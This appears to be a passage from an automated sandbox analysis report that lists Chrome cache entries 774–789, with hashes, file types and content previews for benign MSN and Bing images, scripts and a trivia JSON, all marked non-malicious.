2.214s-4.704-.746-5.958-2.213c-.348-.407-.539-.926-.539-1.461v-.578c0-.414.335-.749.749-.749h11.502c.414 0

Chrome Cache Entry: 774

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1586
Entropy (8bit):	4.759524541379981
Encrypted:	false
SSDEEP:	12:6v/72+tczxWMCpzJtYO0CIp+oPw3vRDzkFVhFYb9GOEERx9c9R7xDUN2tFmF+dhl:H+axWMCpNtYO0BzOsRQGOLRxa9Rp3AM
MD5:	33A3AA256A221F7226634DF7FE5D8B85
SHA1:	1FD09D9FBF75D0E759BB98E3B200B9D0061E1DE0
SHA-256:	D03B69260B1029848E0C326C9FDACF9E359827CAB5E82735691F447C5EB3FF59
SHA-512:	928DFC67862D4A2C5D6482F2057AE190CF033DACF152550D58D9F4459D413131F688C5AFB23A6306F8C51A96A31DEAF67A60103DEF48AF8597DC056B542B2EC7
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBxWcHH.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx.m.KL.a...L.-..H..X..#...`..J ...h..HL....ZJ..-..Q....#a#.B......L.. .,}...zg..&v........S.<L ...XDbq`}.._..M..q...@.L.8.'u.\.(....7t.V...X^.0.....I4.D2`.._.`..DG]..m3. cXX.....K$....y.......],g......I..:1"..$..a.;/j.....P.......]&#RX.w.^.H8..H\.l..5..br...../.;..:..9...x.z.@....";p.. .L8.m.J.Z.v....N8.g_..0....s.......D:..r1....n..E\6......f.....q.......\^B^^..#\t..8.....z.0..4Z-...#77..K'M....bC,...I/....v.ce..{.Qr./,.......7..u{f.....Z-.u.'`_..g(...q..m)......r.D..?>...=3....j.J.[.o.\v.\....X...p>^.DYt..i...P......6^.y..Ql.N.nh.e.YP....q.J..%.....$....t.:8..Q..g#l'..G.AI.iG<HT...D..@...X:,..L..a.3.F)..4Y...z.E..'.B$.2q<..I$.}.$hI<...i.........Q Q.i......(. .......v.r.N.....(.....,8....IEND.B`................................................................................................................................................................................................

Chrome Cache Entry: 775

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22247)
Category:	downloaded
Size (bytes):	40067
Entropy (8bit):	5.648100276481272
Encrypted:	false
SSDEEP:	768:IfCCQv85MN7CZV3HSn1ZF+buhYs1HH4wexSkMF034DL:IS8Q+ZV3HS1ZUbuhYslsg/
MD5:	0F391E1575A46344DD5320FA23EABAEA
SHA1:	EAEEADBFE86D2DCBA7081AB8E714D31B3E22C782
SHA-256:	45AA765909D61EFE0872B1D12853F8CF05899804ED79D625411A9C0255D7B1F3
SHA-512:	2B536385059BF2471EB57337B0E775B885FE01E6B90842D292C37A557F943A0E10795FCA4936A6EAD1EEE486B3CBA4F89F0115CA08F043AA1B29158A93ABABB8
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/web-components_fast-msft-web-components_dist_dom-policy_sanitize-inner-html-policy_js-web-com-10ee55.a06841ac60c8d66785b2.js
Preview:	/! For license information please see web-components_fast-msft-web-components_dist_dom-policy_sanitize-inner-html-policy_js-web-com-10ee55.a06841ac60c8d66785b2.js.LICENSE.txt /.(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["web-components_fast-msft-web-components_dist_dom-policy_sanitize-inner-html-policy_js-web-com-10ee55"],{83245:function(e){e.exports=function(){"use strict";function e(t){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e(t)}function t(e,n){return t=Object.setPrototypeOf\|\|function(e,t){return e.__proto__=t,e},t(e,n)}function n(){if("undefined"==typeof Reflect\|\|!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catc

Chrome Cache Entry: 776

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1228), with no line terminators
Category:	dropped
Size (bytes):	1228
Entropy (8bit):	5.021257455081656
Encrypted:	false
SSDEEP:	24:6Vj1V5FrGj6BBE2eyo6maDU6CWi4dDRRE0Slc7qHy5++vY:8v5TBiF6U6C+DLSiL+P
MD5:	04E46D18C015E7C22CB2E4B43DCEFD05
SHA1:	212F9F2089A5F85033160582DCCB1B41A7E4CD15
SHA-256:	A8172A1CD35702E0679AA2FC817640738B09D8C2A1BACF4A132E68D314407744
SHA-512:	E3FD5F578CD864C0B1905C3342C3539CC98D78DE8A4734EB2629558ECA566F464890425250610DE11CB9950C481DDB5C3ABF6557E189D7153461F43FE62D34AD
Malicious:	false
Reputation:	unknown
Preview:	var Feedback;(function(n){var t;(function(){"use strict";function u(t,i){var u=t.getAttribute("id"),f;u\|\|(u="genId"+n.length,t.setAttribute("id",u));f=new r(u,i,t.getAttribute(i));n.push(f)}function i(n,t,i){i===null?n.removeAttribute(t):n.setAttribute(t,i)}function t(n,t,r,f){for(var e,s=_d.querySelectorAll(r),o=0;o<s.length;o++)(e=s[o],f&&e.id&&f[e.id])\|\|(u(e,n),i(e,n,t))}function f(n){for(var u=_d.querySelectorAll(n),e=1,f={},t,i,r=0;r<u.length;++r){if(t=u[r],!t.id){for(;;)if(i="fbpgdgelem".concat(e++),!_ge(i))break;t.id=i}f[t.id]=t}return f}function e(){var i="tabindex",r="-1",n=f("#fbpgdg, #fbpgdg *");t(i,r,"div",n);t(i,r,"svg",n);t(i,r,"a",n);t(i,r,"li",n);t(i,r,"input",n);t(i,r,"select",n);t("aria-hidden","true","body :not(script):not(style)",n)}function o(){for(var r,t=0;t<n.length;t++)r=_d.getElementById(n[t].id),r&&i(r,n[t].attributeName,n[t].originalAttributeValue);n.length=0}function s(){typeof sj_evt!="undefined"&&(sj_evt.bind("onFeedbackStarting",function(){e()}),sj_evt.b

Chrome Cache Entry: 777

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1101
Entropy (8bit):	4.829151166001716
Encrypted:	false
SSDEEP:	24:t0S8eLfl954T0u2y3EO1gRcDrIvQaDxijjfscC:vLfRWtPDuQKIjq
MD5:	91CD11CFCCA65CFACE96153268D71F63
SHA1:	E0BE107728D3BF41D8136220DA897D798A2AC60F
SHA-256:	8EE1E6D7A487C38412D7B375AC4A6BD7E47F70858055EEB7957226ADA05544BE
SHA-512:	4367CE147C7FA4590838F23C47819B8954858128336979E28BA116924B92660A7CBDC9A8292C45C5F26FF591F423F03DFADCB78A772DBE86AC5FBABF0B4E7711
Malicious:	false
Reputation:	unknown
Preview:	<svg focusable="false" width="24px" height="24px" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <rect fill-opacity="0.2" fill="#000" x="0" y="0" width="24" height="24" rx="2"></rect>.. <g transform="translate(4, 4)">.. <path d="M13.2916881,1.29304814 L7.99395739,6.59077883 L2.69622669,1.29304814 C2.30349711,0.913737214 1.67923378,0.919161894 1.29315522,1.30524045 C0.907076669,1.691319 0.90165199,2.31558234 1.28096291,2.70831192 L6.57869361,8.00604261 L1.28096291,13.3037733 C0.90165199,13.6965029 0.907076669,14.3207662 1.29315522,14.7068448 C1.67923378,15.0929233 2.30349711,15.098348 2.69622669,14.7190371 L7.99395739,9.42130639 L13.2916881,14.7190371 C13.6844177,15.098348 14.308681,15.0929233 14.6947596,14.7068448 C15.0808381,14.3207662 15.0862628,13.6965029 14.7069519,13.3037733 L9.40922117,8.00604261 L14.7069519,2.70831192 C15.0976827,2.31746305 15.0976827,1.683897 14.7069519,1.29304814 C14.316103,0.902317288 13

Chrome Cache Entry: 778

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	726
Entropy (8bit):	4.636787858533541
Encrypted:	false
SSDEEP:	12:tbH41nlcWYiB1+Xl0ML2t1iOfEmmgaUEUZQ6nMAIPWSxs4yPISEIe9t8aayPISEx:t741nTYifqLL2+O7mgaxSQ6MFnE3nkO
MD5:	6601E4A25AB847203E1015B32514B16C
SHA1:	282FE75F6FED3CFC85BD5C3544ADB462ED45C839
SHA-256:	6E5D3FFF70EEC85FF6D42C84062076688CB092A3D605F47260DBBE6B3B836B21
SHA-512:	305C325EAD714D7BCBD25F3ACED4D7B6AED6AE58D7D4C2F2DFFCE3DFDEB0F427EC812639AD50708EA08BC79E4FAD8AC2D9562B142E0808936053715938638B7C
Malicious:	false
Reputation:	unknown
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16">.. <path d="M0 0h16v16h-16v-16z" fill="none"/>.. <path fill="#007DAA" d="M11 4h4l-5-4v3c0 .552.447 1 1 1zm-3-1v-3h-4.5c-.828 0-1.5.672-1.5 1.5v13c0 .828.672 1.5 1.5 1.5h10c.828 0 1.5-.672 1.5-1.5v-8.5h-4c-1.654 0-3-1.346-3-3zm4.707 10.707c-.181.181-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293s.293.431.293.707-.112.526-.293.707zm0-5.414c.181.181.293.431.293.707s-.112.526-.293.707-.431.293-.707.293h-7c-.276 0-.526-.112-.707-.293s-.293-.431-.293-.707.112-.526.293-.707.431-.293.707-.293h7c.276 0 .526.112.707.293z"/>..</svg>

Chrome Cache Entry: 779

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1304
Entropy (8bit):	4.767968631693785
Encrypted:	false
SSDEEP:	24:YogdqtOLxL1iKCSzSQxmdfpkZnEDoAQE:TjtOniKCSlmJpCncx
MD5:	671DDC2887FB01DFC418864231D503E0
SHA1:	C709A9F97B41095CD1A0436FDE285467AC460147
SHA-256:	E2D2752332894DBDC79D3690468FD5811B38A7AB1380AD788165F1458C9C1968
SHA-512:	D65ECB575D650443B0FACFC74ECD0B9173B38AA2D497DE066F13A5DF892899040FACFE293C055FB4667DACD0FAB904B85B7C06EFC4C455645254ECE1BDA8A59F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....NIDATx..SMkSA.=..%R....4..QP.XHM7fSL.@. ]....HQAD...A..;A.;EH......DE("...j..&mc.....Lx1../.;w.93w.^.-b%3.$.i.#...M..>3.x\..s..R'..`T...<.].=.f.8.t..h.&/9...&...k.....p% ]...`....@..<.....M`..[......b....K...&.W5.A..]3..vb....J)/h7.)].........-%\|...s?14.%...i.z5a.\|....@..h..u..f..8..g.=.[XBz1...P..J!....E..Z...O..t..#..>._...`..QWa..-..lG........&..C....7.\.Fzi..Q{E/P....=G.<.}+....j.W.......o".....F.g....v.;..TZ.l..B$.......w.b..r...2.?.a.,;.~..C..E.!..:x._.\|..sn...R. ....%.....*.q'..&......\|"......;.WU.......a3...>.7....<U..2M....'....v.S.Lp...........T)....IEND.B`.............................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 780

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49890), with no line terminators
Category:	downloaded
Size (bytes):	49890
Entropy (8bit):	5.277413721220006
Encrypted:	false
SSDEEP:	768:w0+xgE1upNf+awP/o/lglV9YForuZK6y4v2Cd8cA2YIHCqg+R/Y84zcV8TSmWXFq:wr168Xq8zx2mWXvqH+MW2FTIYRv/B
MD5:	DAE77611220E36671173E1F84BC55B86
SHA1:	1B6971B4A582CEE6EB92C8B138895AC2C7F5F671
SHA-256:	7EBE7CF486536B3D482F6C4F08D04B05290432EA7032A79F164D2660CA8E6365
SHA-512:	35B8A3B1BD26AD310EBD8892B7174314984A6BEE202794528F7BB6E59E0AEE9546469B4F4E47C118DADB14ACC86823A2249C028A5740F34B5B727EFCF58A4941
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/topic-data-connector.9f232d5ecf2e5b89935a.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["topic-data-connector"],{76868:function(e,t,i){var s;i.d(t,{y:function(){return s}}),function(e){e[e.MuidChange=1]="MuidChange",e[e.MarketChange=2]="MarketChange",e[e.InterestsChange=3]="InterestsChange",e[e.PivotSwitch=4]="PivotSwitch",e[e.WeatherChange=5]="WeatherChange",e[e.MoneyChange=6]="MoneyChange",e[e.FeedLayoutSwitch=7]="FeedLayoutSwitch",e[e.FetchRiverDataFailure=8]="FetchRiverDataFailure",e[e.BackgroundImageChange=9]="BackgroundImageChange",e[e.PublisherMuted=10]="PublisherMuted",e[e.StalePrerenderPage=11]="StalePrerenderPage",e[e.AdminSettingsChange=12]="AdminSettingsChange"}(s\|\|(s={}))},44039:function(e,t,i){i.d(t,{yV:function(){return o}});var s=i(987);new Set;function o(e){const t={time:n(),data:e};(0,s.$o)().setObject("fpr",t)}function n(){return Math.round(performance.timeOrigin+performance.now())}},16330:function(e,t,i){var s;i.r(t),i.d(t,{FeedType:functio

Chrome Cache Entry: 781

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	4211
Entropy (8bit):	7.907425987544508
Encrypted:	false
SSDEEP:	96:8zgESFlH188JOjVAO9Dvq92BNYwXIunUkLcyvDa8:ygplHi8EjV79Dvq92BNBLcg+8
MD5:	563DEA993771299E9BEC2842924396D4
SHA1:	5FD054AC90E5D2675C0C9343C9F6CBFBD710A0D9
SHA-256:	529FCD5E6737E54DDAF3046B685AFC409B477356900E98197ECFE0DE06FCEAD3
SHA-512:	71B9E026E6DA3E40F51ACAF8849B02C6CCE3EA5961EB3566B279C99F824A30D542E9A978C00D475278BC83928E2A81F767A4AB35B5010942CCBBE5F5A6BDC78B
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_s5Y1nDItPh09RMK0mHv3Mw&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..].6....Pn]..a.N.......Q..?.T..1...o^A...M.(e%.~... .....f<.....v/...9..A..B9FUG.u.~.0Iy..G......`......t5W......=..M7"F..;U....).....7...DQm..."..;.-.&...O.t....`aG......V..d.~..\|..6...?.oN.r.2.I\.........m..Cy....A.....k..&.$....t..1?"u].'/.....]..n..^yJ..\6...y=..j.P..H.k......~........U.G...~...6.M...YcO0..3...z.hmWK..u;0..~...:....K....TLc{...A.+6;

Chrome Cache Entry: 782

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2996), with no line terminators
Category:	downloaded
Size (bytes):	2996
Entropy (8bit):	5.366105471104399
Encrypted:	false
SSDEEP:	48:J48ZVpZepsJrkTScZV7pw2B7waeaTo8Xvet0cnYBLm7QA03RzsGXFLChF8YiS5xJ:JQcrkTDZV7e2maeaTowrBLm0A03RQqst
MD5:	A4A2895E7FBFE6377307B4C2AAB9E525
SHA1:	399FCAD73E013BAB2867567B731B0E0EAA278A49
SHA-256:	2F754393D443981912BDD0E557B8CF9724B956E552C50BFD75044848AC347AA5
SHA-512:	0FBC750A57C1A05577017FFA77FE03881FC12D7DB641F14BCDAA3EFF4FD38880D3147B6BC666E27A63A1FE3D37679CD0DE060C05B8E8E76DD36FC23296FF45B3
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/OZ_K1z4BO6soZ1Z7cxsODqonikk.js
Preview:	var Bnp=Bnp\|\|{};Bnp.Global=Bnp.Global\|\|{};Bnp.Version="1";Bnp.Partner=Bnp.Partner\|\|function(){function i(){return typeof DefaultTrustedTypesPolicy!="undefined"}function s(n){return i()&&DefaultTrustedTypesPolicy.getOpaqueHTML?DefaultTrustedTypesPolicy.getOpaqueHTML(n):n}function h(n){return i()&&DefaultTrustedTypesPolicy.getOpaqueScript?DefaultTrustedTypesPolicy.getOpaqueScript(n):n}function c(n){return i()&&DefaultTrustedTypesPolicy.getOpaqueScriptURL?DefaultTrustedTypesPolicy.getOpaqueScriptURL(n):n}function f(n){sj_evt.fire("onBnpRender",n)}function r(n){var i=i\|\|{};if(typeof i.stringify=="function")return i.stringify(n);var o=typeof n,u=n&&n.constructor==Array,f=[],e,t;if(o!="object"\|\|n==null)return o=="string"?'"'+n+'"':String(n);for(e in n)t=n[e],t&&t.constructor!=Function&&(u?f.push(r(t)):f.push('"'+e+'":'+r(t)));return(u?"[":"{")+String(f)+(u?"]":"}")}function l(n){for(var r=[],u=n.getElementsByTagName("script"),t,i;u.length;)t=u[0],i=sj_ce("script"),t.src?i.src=c(t.src):t.text

Chrome Cache Entry: 783

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:51:08], progressive, precision 8, 160x158, components 3
Category:	downloaded
Size (bytes):	4547
Entropy (8bit):	7.735536921390623
Encrypted:	false
SSDEEP:	96:ssb41dk9JozAQ8d2SuBK76KrZDoDBtnFKiDo8TzNnNJSHvLPS:sj1eozAQ8d2VPGoBBFfM4fJSHDPS
MD5:	7AEF4CCF6E47B9BA038365CD3D1F5693
SHA1:	71F7957F6FAE574854A374E84DB2E3CEDBA89969
SHA-256:	08102BA7A0388B1AFC9A351B3387B2DDEDA846551303170E0273B2F305AECCB2
SHA-512:	29AC1E6BADF62C61B4FA889EA1B0436D3B9107A60BA03801DFA8E23A4D8BCCF42C09BB7CC7E6CD9FACB8D140DB7E0D4F0EEB3D7D8A3B9B38B1D2B95113005320
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/cfeVf2-uV0hUo3ToTbLjztuomWk.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:51:08....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...........................................................................................VQJ,..R...)..(..R..d.Y@...h..%(.AW(T.)...5.,.%.2[.."!l...Z......@I..T.......@3.@....D@ ..l.)E.P....ts......@... E".W/G...........IQ..I\|../.,..W..(....WY.1<.t..=....K...C....-.1..s.[l...^].mO7\|..:.kda5....o.=.S.8.;....~e,.......1v..~5.:s'$..u.i..k.7._E25...f6v..Nk.&)....S.r...ovn5...k9k...u.D...f&.......e.+.7......d..7K.R]..f..K..l...r....K.b..s29...y;..U.E(.qH....,....QS%..@....'......................... !."1.#$0@.`............R.J..e~...+.J.....y..7#..^....,.....@.3..`.....L...[u.!.../...;[7.,...a....[._W...B;.....4g+../c..>g...!..U..Q...0...$..F%...u\|.2?.V.>.v..2.2.S.c..km)

Chrome Cache Entry: 784

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (425), with no line terminators
Category:	dropped
Size (bytes):	425
Entropy (8bit):	4.963129739598361
Encrypted:	false
SSDEEP:	12:2gXsmzwKN0yApFkRLNF1Jfa1VTWPMg9pIGywV:2gX9zwKN0yAqr1Jfa1V059V
MD5:	016ECFDB34031F881FA5E34DFBD0B7A1
SHA1:	16D3BA1049939D00AE47AAD053993B4762D9B102
SHA-256:	08021ED3BCA5532304B597E636BEB939FF7BAA6D08DCA4E94C0DDE1FDF940389
SHA-512:	D61045D1F07ED241626B8233D388F5E1AD54DBE224871E1CE872ECFD0E29F05A21F0EA02FFDE688FACB134DD969533615493BD35EBA4D5E755840C30A687EE00
Malicious:	false
Reputation:	unknown
Preview:	(function(n){function f(){u(sj_be,r)}function r(i){return i&&n.enqueue(t,i),!0}function e(){u(sj_ue,r)}function u(n,t){for(var u,r=0;r<i.length;r++)u=i[r],n(u==="resize"?window:document,window.navigator.pointerEnabled?u.replace("mouse","pointer"):u,t,!1)}var t="EVT",i=["click","mousedown","mouseup","touchstart","touchend","mousemove","touchmove","scroll","keydown","resize"];n.wireup(t,{load:f,compute:null,unload:e})})(BM)

Chrome Cache Entry: 785

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 50 x 50
Category:	downloaded
Size (bytes):	49414
Entropy (8bit):	7.786337557112325
Encrypted:	false
SSDEEP:	1536:eXE/6WOXA8PSYII3AhacUdETPWFr6I/DzSdIwToogvGN:gXWwA86YT3CacUdE6Fr6I/yqwTBgvGN
MD5:	34EE08F8009454029F63D7A7B29B8734
SHA1:	4FF9B969FD247385B7B537E27AB755ABF10B619B
SHA-256:	0B5DB1273969107A2927391E904E7E70B1B15D40568CE11717A8B6899BB7B623
SHA-512:	2B728A0F02F1D41F29BCC5E4CBF29E138F199450A1AFCBC7B6B2790E2A8BCE6AB71B19DB7668A40D0F6B702DD1931B90FC60EE1ECB776DA2DDBF8053C068D68F
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/staticsb/statics/latest/widget/LoadingImg.gif
Preview:	GIF89a2.2..?.......................................................................................................................................................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.9ccc4de93, 2022/03/14-14:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:c996674d-1dbc-4dcb-94bf-c133a5e098f7" xmpMM:DocumentID="xmp.did:D4316C07BD1811EC9355E848C6087788" xmpMM:InstanceID="xmp.iid:D4316C06BD1811EC9355E848C6087788" xmp:CreatorTool="Adobe Photoshop 23.3 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:c996674d-1dbc-4dcb-94bf-c133a5e098f7" stRef:documentID="xmp.di

Chrome Cache Entry: 786

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	34378
Entropy (8bit):	7.970622899567605
Encrypted:	false
SSDEEP:	768:eJMSO+lnaEO5gOiosLEpzqDqag2i0dgXsySUV:eI+aEyMo5uDJuigXiUV
MD5:	69E7CA22E5B7A8B2B0FEC6F355ABBD3E
SHA1:	2D1E2856988456EEAAA78A66E77CEADA986F832D
SHA-256:	5F1338BCE7F311271704B361430589304FC71BB366122221959E888A6F6ED3FF
SHA-512:	EF68C3B13998AFE8B7852A5F29E52B83350102AB2790747266767797CC5567A2CE99B09F32D08AE10E8C4C7571214B9B43816AD8CAA6FF0B9655F9562B6518BE
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.06fe08758255ed5bea54b10904780623&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?../N.5?.~9....@..Y].!.\4...j.G....x,.r{.\|Z.g....\....W..[2.oqr...A.....a.),@.....x5>..:W..i.]z?.Xy..T..ha..H`.B..m.2.7.8...-..~7h..iy...hp]..{.8..y.3.a.......A......M.-.........a.....G.4......E..Xm...g........$.?w..RA.....\..lf.....T..}"-...\|.w...C.o.*F..`..AR2...\|..>#k...j.>..':d.<2.......X......cs.(.....4?..h.Lz..i%.,-......C,.M.....x.m....y.`..O.o.....:s6.

Chrome Cache Entry: 787

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1225
Entropy (8bit):	5.268483399933616
Encrypted:	false
SSDEEP:	24:YuJGpv0vtRWCsG65UGbOoOx7FQLRWCsG65UGpuA+oOYhHHURWCsG65UGRIoXXc:YRl0vAG6JbsQeG6Jg+BHTG6JRu
MD5:	F7E31D867F86464E752C85C32C5042F5
SHA1:	3760C207BFBC44427A2784A1DD379EBC92234457
SHA-256:	ADBE195CDF90F061AF812544C1063E7A2B0DFAE84B47B0A2D571210F6BFDC85B
SHA-512:	68CB822EE77E58E08E95847A579407C3EF8A60B54E194B1225EDC0EF512ED9A845BD1F0475536B9DCD154BB5B5ED6A141478BCFEEAFAF424489E4253F569B6A7
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/hp/api/v1/trivia?format=json&id=HPQuiz_20231206_CERNCenter&
Preview:	{"title":"","data":{"question":"What's the name of this eye-catching building at the CERN particle physics research center?","options":[{"text":"Exploratorium","url":"/search?q=globe+of+science+and+innovation&filters=IsConversation%3A%22True%22+btrequestsource%3A%22homepage%22+WQOskey%3A%22HPQuiz_20231206_CERNCenter%22+WQId%3A%221%22+WQQI%3A%220%22+WQCI%3A%220%22+UserChoices%3A%220%22+ShowTimesTaskPaneTrigger%3A%22false%22+WQSCORE%3A%220%22&FORM=HPQUIZ","bullet":"A"},{"text":"Center for Innovators and Dreamers","url":"/search?q=globe+of+science+and+innovation&filters=IsConversation%3A%22True%22+btrequestsource%3A%22homepage%22+WQOskey%3A%22HPQuiz_20231206_CERNCenter%22+WQId%3A%221%22+WQQI%3A%220%22+WQCI%3A%221%22+UserChoices%3A%221%22+ShowTimesTaskPaneTrigger%3A%22false%22+WQSCORE%3A%220%22&FORM=HPQUIZ","bullet":"B"},{"text":"The Globe of Science and Innovation","url":"/search?q=globe+of+science+and+innovation&filters=IsConversation%3A%22True%22+btrequestsource%3A%22homepage%22+WQOskey

Chrome Cache Entry: 788

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	30090
Entropy (8bit):	7.959675477406562
Encrypted:	false
SSDEEP:	768:eabwbTDVApdx1qHb24A6KZjEgKL3ekP5bC9m17fA:eae2qa6iKL3ekP5bC9m17I
MD5:	9703F4B5288974255D06338240A36CDC
SHA1:	23978D0F7610128A1D9BB45A3D9A63559CB388D8
SHA-256:	2B58D7463A8683C5F22091C4DC83FB14D7DC7F4BC1E6EFA7E0142BE37704167C
SHA-512:	C17DD88A2DA1012F4CA474E53CA3E03E6120B3BF6FE6329D98EB80A642F9A6ECE87CBE1610D6E4F4A5497873C39CAC94939D14FB6B4A130594737FABEE9D6AD4
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...D.p..(#..,.2Z..n@bH.=....5f.O{.m..4..yK.l.$......].5.....1.4...7.7.....'...X\..].TV.......N.S]....skt.%..qF^X. .cp.A+.@.n..x9Q..T..n....b.N6.}x..A&..{i&y...\.8....p{V59[.}Mb....3.c.}..$7....1 O&..H\.].g...w.....{.C......b}.o}...>....@.q.9........-.c.tJ.^.I#?..v.(60....1FIm.%~l.#.oN..p..R.M+3MwF.....k.K......o..VI.9(..RN{.~.w.H&.y.].1%..9.?Z.o.{.J4tk.....I.

Chrome Cache Entry: 789

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	6602
Entropy (8bit):	7.94064342551898
Encrypted:	false
SSDEEP:	192:ygwBDqHxDzbqllo8AXbpYEm2PcTdHdSiyKllYBVrc:ygwBDyXbqlTybFu9yaKBu
MD5:	2EC5FDE3796806B70652B8CF1A6CD9B4
SHA1:	A994F484136E6582D4D3F5E98FC45A87C7D1FA00
SHA-256:	544A2240A7DA1E493494687EF632B25ECAF0953190F69CA85180486F6D623175
SHA-512:	51C9A44A72DF57CC270D9ECCAF7B2474B4B8ADF70B0EF4BCE0F7B984B7CEC3AEC27DC874BF2AAAF5E06CC749F50139CB0E4BF2CAB2ADB0CFAA401E69CA95A585
Malicious:	false
Reputation:	unknown
